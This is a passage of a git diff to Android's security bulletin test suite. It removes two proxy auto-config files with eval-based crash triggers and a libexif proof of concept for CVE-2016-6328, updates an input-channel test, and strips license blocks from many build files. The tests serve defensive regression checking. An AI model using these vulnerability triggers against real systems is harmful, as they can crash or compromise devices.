- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host) {
-    let s = String.fromCharCode(0x4141).repeat(0x10000001) + "A";
-    s = "'" + s + "'";
-    eval(s);
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0396.pac b/hostsidetests/securitybulletin/res/cve_2021_0396.pac
deleted file mode 100644
index 5677445..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0396.pac
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    var evil_call = eval("(function(" + Array(65535).fill("x").join(",") + "){})");
-    f(evil_call());
-    return "DIRECT";
-}
-
-function f(){}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
index b145ce8..03e9154 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "Bug-115739809",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 1a7e5b6..16bafe7 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -43,12 +43,11 @@
 
     // Write the header
     outMsg->header.type = msg.header.type;
+    outMsg->header.seq = msg.header.seq;
 
     // Write the body
     switch(msg.header.type) {
         case InputMessage::Type::KEY: {
-            // uint32_t seq
-            outMsg->body.key.seq = msg.body.key.seq;
             // int32_t eventId
             outMsg->body.key.eventId = msg.body.key.eventId;
             // nsecs_t eventTime
@@ -78,8 +77,6 @@
             break;
         }
         case InputMessage::Type::MOTION: {
-            // uint32_t seq
-            outMsg->body.motion.seq = msg.body.motion.seq;
             // int32_t eventId
             outMsg->body.motion.eventId = msg.body.key.eventId;
             // nsecs_t eventTime
@@ -108,14 +105,18 @@
             outMsg->body.motion.edgeFlags = msg.body.motion.edgeFlags;
             // nsecs_t downTime
             outMsg->body.motion.downTime = msg.body.motion.downTime;
-            // float xScale
-            outMsg->body.motion.xScale = msg.body.motion.xScale;
-            // float yScale
-            outMsg->body.motion.yScale = msg.body.motion.yScale;
-            // float xOffset
-            outMsg->body.motion.xOffset = msg.body.motion.xOffset;
-            // float yOffset
-            outMsg->body.motion.yOffset = msg.body.motion.yOffset;
+            // float dsdx
+            outMsg->body.motion.dsdx = msg.body.motion.dsdx;
+            // float dtdx
+            outMsg->body.motion.dtdx = msg.body.motion.dtdx;
+            // float dtdy
+            outMsg->body.motion.dtdy = msg.body.motion.dtdy;
+            // float dsdy
+            outMsg->body.motion.dsdy = msg.body.motion.dsdy;
+            // float tx
+            outMsg->body.motion.tx = msg.body.motion.tx;
+            // float ty
+            outMsg->body.motion.ty = msg.body.motion.ty;
             // float xPrecision
             outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
             // float yPrecision
@@ -144,24 +145,28 @@
             break;
         }
         case InputMessage::Type::FINISHED: {
-            outMsg->body.finished.seq = msg.body.finished.seq;
             outMsg->body.finished.handled = msg.body.finished.handled;
+            outMsg->body.finished.consumeTime = msg.body.finished.consumeTime;
             break;
         }
         case InputMessage::Type::FOCUS: {
-            outMsg->body.focus.seq = msg.body.focus.seq;
             outMsg->body.focus.eventId = msg.body.focus.eventId;
             outMsg->body.focus.hasFocus = msg.body.focus.hasFocus;
             outMsg->body.focus.inTouchMode = msg.body.focus.inTouchMode;
             break;
         }
+        case InputMessage::Type::CAPTURE: {
+            outMsg->body.capture.eventId = msg.body.capture.eventId;
+            outMsg->body.capture.pointerCaptureEnabled = msg.body.capture.pointerCaptureEnabled;
+            break;
+        }
     }
 }
 
 /**
  * Return false if vulnerability is found for a given message type
  */
-static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, InputMessage::Type type) {
+static bool checkMessage(InputChannel& server, InputChannel& client, InputMessage::Type type) {
     InputMessage serverMsg;
     // Set all potentially uninitialized bytes to 1, for easier comparison
 
@@ -170,14 +175,14 @@
     if (type == InputMessage::Type::MOTION) {
         serverMsg.body.motion.pointerCount = MAX_POINTERS;
     }
-    status_t result = server->sendMessage(&serverMsg);
+    status_t result = server.sendMessage(&serverMsg);
     if (result != OK) {
         ALOGE("Could not send message to the input channel");
         return false;
     }
 
     InputMessage clientMsg;
-    result = client->receiveMessage(&clientMsg);
+    result = client.receiveMessage(&clientMsg);
     if (result != OK) {
         ALOGE("Could not receive message from the input channel");
         return false;
@@ -187,11 +192,6 @@
         return false;
     }
 
-    if (clientMsg.header.padding != 0) {
-        ALOGE("Found padding to be uninitialized");
-        return false;
-    }
-
     InputMessage sanitizedClientMsg;
     sanitizeMessage(clientMsg, &sanitizedClientMsg);
     if (memcmp(&clientMsg, &sanitizedClientMsg, clientMsg.size()) != 0) {
@@ -213,7 +213,7 @@
  * Do this for all message types
  */
 int main() {
-    sp<InputChannel> server, client;
+    std::unique_ptr<InputChannel> server, client;
 
     status_t result = InputChannel::openInputChannelPair("channel name", server, client);
     if (result != OK) {
@@ -222,13 +222,11 @@
     }
 
     InputMessage::Type types[] = {
-        InputMessage::Type::KEY,
-        InputMessage::Type::MOTION,
-        InputMessage::Type::FINISHED,
-        InputMessage::Type::FOCUS,
+            InputMessage::Type::KEY,   InputMessage::Type::MOTION,  InputMessage::Type::FINISHED,
+            InputMessage::Type::FOCUS, InputMessage::Type::CAPTURE,
     };
     for (InputMessage::Type type : types) {
-        bool success = checkMessage(server, client, type);
+        bool success = checkMessage(*server, *client, type);
         if (!success) {
             ALOGE("Check message failed for type %i", type);
             return EXIT_VULNERABLE;
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
index e3cc1df..700999c 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "Bug-137878930",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
index 9754423..3d44266 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "Bug-38195738",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
index ed60a1d..2c0206e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2012-6702",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
index 0f770b3..439c139 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2014-3145",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
index 756e6d2..c8d5dc5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2014-9803",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
index 7afaa2f..76485b6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2015-1805",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
index 5817588..10bbf66 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2015-3873",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
index 9aafbfe..3531cdb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-0844",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
index 875923e..4546546 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-10229",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
index 816b323..c3537f2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-2109",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
index 2788d97..09e360d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-2412",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
index c1e34fe..c2436bc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-2419",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
index d1c9c15..b31a788 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-2460",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
index 103f4ac..53f06a5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-2471",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
index e7fcb70..3f6188a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-2482",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
index 7860cd0..5d900d8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-3746",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
index 3e8b2db..2a9b893 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
@@ -11,10 +11,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-3747",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
index e134eeb..2a488ae 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-3818",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
index 2a633da..d076d40 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-3913",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
index e1c8cd0..6e9d63a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-4658",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
index daea235..abdb201 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-5131",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -34,3 +30,4 @@
         "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192",
     ],
 }
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
index a32e10f..2a49719 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-5862",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
index 34c69f3..b0f0e6c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-5867",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
deleted file mode 100644
index 1250ec6..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-cc_test {
-    name: "CVE-2016-6328",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: [
-        "poc.c",
-    ],
-    shared_libs: [
-        "libexif",
-    ],
-    compile_multilib: "32",
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
deleted file mode 100644
index 366dd0b..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <stdlib.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include "../includes/common.h"
-#include "libexif/exif-data.h"
-#include "libexif/pentax/exif-mnote-data-pentax.h"
-
-#define NUM_PAGES 2
-#define VULNERABLE_ENTRY_INDEX 6
-#define VALUE_SIZE 1024
-
-int main(int argc, char **argv) {
-    if (argc < 2) {
-        return EXIT_FAILURE;
-    }
-
-    ExifData *exifData = exif_data_new_from_file(argv[1]);
-    if (!exifData) {
-        return EXIT_FAILURE;
-    }
-
-    ExifMnoteData *mData = exif_data_get_mnote_data(exifData);
-    if (!mData) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-
-    ExifMnoteDataPentax *mDataPentax = (ExifMnoteDataPentax *)mData;
-    if (!mDataPentax) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-
-    MnotePentaxEntry *entry = &mDataPentax->entries[VULNERABLE_ENTRY_INDEX];
-    if (!entry) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-
-    size_t page_size = getpagesize();
-    size_t num_pages = NUM_PAGES;
-    size_t total_size = page_size * num_pages;
-    unsigned char *start_ptr = (unsigned char *)memalign(page_size, total_size);
-    if (!start_ptr) {
-        exif_data_unref(exifData);
-        return EXIT_FAILURE;
-    }
-    unsigned char *mem_ptr = start_ptr + ((num_pages - 1) * page_size);
-    mprotect(mem_ptr, page_size, PROT_NONE);
-
-    unsigned char *prev_ptr = entry->data;
-    entry->data = mem_ptr;
-    entry->size = 0;
-
-    char value[VALUE_SIZE];
-    exif_mnote_data_get_value(mData, VULNERABLE_ENTRY_INDEX, value, sizeof(value));
-
-    entry->data = prev_ptr;
-    free(start_ptr);
-    exif_data_unref(exifData);
-    return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
index 69c6230..1cd33a2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-6730",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
index 4cb05b5..a0dd0d3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-6731",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
index 10102eb..1340882 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-6732",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
index 123c22e..3f873b2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-6733",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
index a664d5c..da5a873 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-6734",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
index 4b648f4..17937c7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-6735",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
index 0f5053b..d84178b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-6736",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
index bbbf743..eccb0d6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2016-8425",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
index f6f688f..75bf901 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
